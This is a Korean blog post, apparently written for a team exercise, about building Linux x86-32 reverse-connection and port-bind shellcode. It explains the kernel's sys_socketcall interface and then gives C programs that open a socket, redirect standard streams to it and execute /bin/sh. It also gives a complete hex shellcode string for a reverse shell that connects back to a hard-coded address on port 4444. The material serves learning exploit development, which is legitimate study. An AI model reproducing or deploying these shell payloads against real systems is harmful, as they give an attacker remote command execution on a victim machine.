Linux/x86-32 shell_reverse_tcp & shell_bind_tcp

2011. 9. 25. 14:19·ETC

이번에 팀에서 과제로 Reverse Connection Shellcode와 Port Bind Shellcode를 만들게 되었습니다.
그래서 만드는 동안 공부하게 된것들을 정리하는 글이 되겠습니다.

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

- sys_socketcall

Linux에서 socket관련 함수를 이용할때 , 내부적으로 모두 sys_socketcall 시스템콜을 이용하게 된다.
net/socket.c에 정의된 sys_socketcall 함수의 원형은 다음과 같다.

asmlinkage long sys_socketcall(int call, unsigned long *args)
{
        unsigned long a[6];
        unsigned long a0,a1;
        int err;

        if(call<1||call>SYS_RECVMSG)
                return -EINVAL;

        /* copy_from_user should be SMP safe. */
        if (copy_from_user(a, args, nargs[call]))
                return -EFAULT;
               
        a0=a[0];
        a1=a[1];
       
        switch(call)
        {
                case SYS_SOCKET:
                        err = sys_socket(a0,a1,a[2]);
                        break;
                case SYS_BIND:
                        err = sys_bind(a0,(struct sockaddr *)a1, a[2]);
                        break;
                case SYS_CONNECT:
                        err = sys_connect(a0, (struct sockaddr *)a1, a[2]);
                        break;
                case SYS_LISTEN:
                        err = sys_listen(a0,a1);
                        break;
                case SYS_ACCEPT:
                        err = sys_accept(a0,(struct sockaddr *)a1, (int *)a[2]);
                        break;
                case SYS_GETSOCKNAME:
                        err = sys_getsockname(a0,(struct sockaddr *)a1, (int *)a[2]);
                        break;
                case SYS_GETPEERNAME:
                        err = sys_getpeername(a0, (struct sockaddr *)a1, (int *)a[2]);
                        break;
                case SYS_SOCKETPAIR:
                        err = sys_socketpair(a0,a1, a[2], (int *)a[3]);
                        break;
                case SYS_SEND:
                        err = sys_send(a0, (void *)a1, a[2], a[3]);
                        break;
                case SYS_SENDTO:
                        err = sys_sendto(a0,(void *)a1, a[2], a[3],
                                         (struct sockaddr *)a[4], a[5]);
                        break;
                case SYS_RECV:
                        err = sys_recv(a0, (void *)a1, a[2], a[3]);
                        break;
                case SYS_RECVFROM:
                        err = sys_recvfrom(a0, (void *)a1, a[2], a[3],
                                           (struct sockaddr *)a[4], (int *)a[5]);
                        break;
                case SYS_SHUTDOWN:
                        err = sys_shutdown(a0,a1);
                        break;
                case SYS_SETSOCKOPT:
                        err = sys_setsockopt(a0, a1, a[2], (char *)a[3], a[4]);
                        break;
                case SYS_GETSOCKOPT:
                        err = sys_getsockopt(a0, a1, a[2], (char *)a[3], (int *)a[4]);
                        break;
                case SYS_SENDMSG:
                        err = sys_sendmsg(a0, (struct msghdr *) a1, a[2]);
                        break;
                case SYS_RECVMSG:
                        err = sys_recvmsg(a0, (struct msghdr *) a1, a[2]);
                        break;
                default:
                        err = -EINVAL;
                        break;
        }
        return err;
}


sys_socketcall 은 첫 번째인자로 받은 정수(call)에 해당하는 함수를 호출하면서 두 번째인자로 받은 포인터(args)를 참조해 함수가 필요로하는 인자를 전달해준다.

위에서 사용한 SYS_~~~ 꼴의 상수들은 include/linux/net.h에 정의되어있다.

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */



- sockaddr_in

struct sockaddr_in{
        short             sin_family;
        unsigned short    sin_port;
        struct in_addr    sin_addr;
        char              sin_zero[8];
};
 


1) Reverse Connection Shellcode


- 사용할 함수들의 원형

int socket(int domain, int type, int protocol);
int connect(int sockfd, struct sockaddr *serv_addr, int addrlen);
int dup2(int oldhandle, int newhandle);
int execve(const char *path, char *const argv[], char *const envp[]);

- 모델로 삼을 C코드

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main()
{
 int fd;
 struct sockaddr_in sock_addr;
 char *cmd[2] = {"/bin/sh" , NULL};

 fd = socket(AF_INET , SOCK_STREAM , 0);

 sock_addr.sin_family = AF_INET;
 sock_addr.sin_port = htons(4444);
 sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 bzero(&(sock_addr.sin_zero),8);

 connect(fd , (struct sockaddr *)&sock_addr , sizeof(struct sockaddr));
 dup2(fd , 0);
 dup2(fd , 1);
 dup2(fd , 2);
 execve("/bin/sh" , cmd , NULL);
}


- 주의할 조건

1) struct 구조체
2) 이중포인터처리



- 어셈코드로 작성



- SHELLCODE

"\x31\xc9\x31\xdb\x31\xc0\xb0\x66\x53\x43\x53\x43\x53\x4b\x89\xe1\xcd\x80"
"\x88\xc3\xb0\x66\x51\x51\x68\xc0\xa8\x7b\x83\x66\x68\x11\x5c\x66\x6a\x02"
"\x89\xe2\x6a\x10\x52\x53\xb3\x03\x89\xe1\xcd\x80\xb0\x3f\x31\xc9\xcd\x80"
"\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 





2) Port Bind Shellcode

- 사용할 함수들의 원형

int socket(int domain, int type, int protocol);
int bind(int sockfd, struct sockaddr *myaddr, int addrlen);
int listen(int sockfd, int backlog);
int accept(int sockfd, struct sockaddr *addr, int *addrlen);
int dup2(int oldhandle, int newhandle);
int execve(const char *path, char *const argv[], char *const envp[]);

- 모델로 삼을 C코드

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main()
{
 int server_fd , client_fd , sin_size;
 struct sockaddr_in sock_addr;
 char *cmd[2] = {"/bin/sh" , NULL};

 sin_size = sizeof(struct sockaddr_in);

 server_fd = socket(AF_INET , SOCK_STREAM , 0);

 sock_addr.sin_family = AF_INET;
 sock_addr.sin_port = htons(4444);
 sock_addr.sin_addr.s_addr = inet_addr("0.0.0.0");
 bzero(&(sock_addr.sin_zero),8);

 bind(server_fd , (struct sockaddr *)&sock_addr , sizeof(struct sockaddr));
 listen(server_fd , 2);
 client_fd = accept(server_fd , (struct sockaddr *)&sock_addr , &sin_size);
 dup2(client_fd , 0);
 dup2(client_fd , 1);
 dup2(client_fd , 2);
 execve("/bin/sh" , cmd , NULL);
} 









참고자료

http://synch3d.com/winsock/SOCKADDR_IN.html
http://wiki.kldp.org/Translations/html/Socket_Programming-KLDP/Socket_Programming-KLDP.html#socket
http://www.skyfree.org/linux/kernel_network/socket.html

'ETC' 카테고리의 다른 글

apache2 CGI 활성화 시키기  (0) 2013.05.07
'ETC' 카테고리의 다른 글
  • apache2 CGI 활성화 시키기
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    후기
    vuln
    정보보호올림피아드
    csaw ctf
    gnuboard
    web
    pwnables
    HUST2011
    POC
    csaw
    power of community
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Linux/x86-32 shell_reverse_tcp & shell_bind_tcp
상단으로

티스토리툴바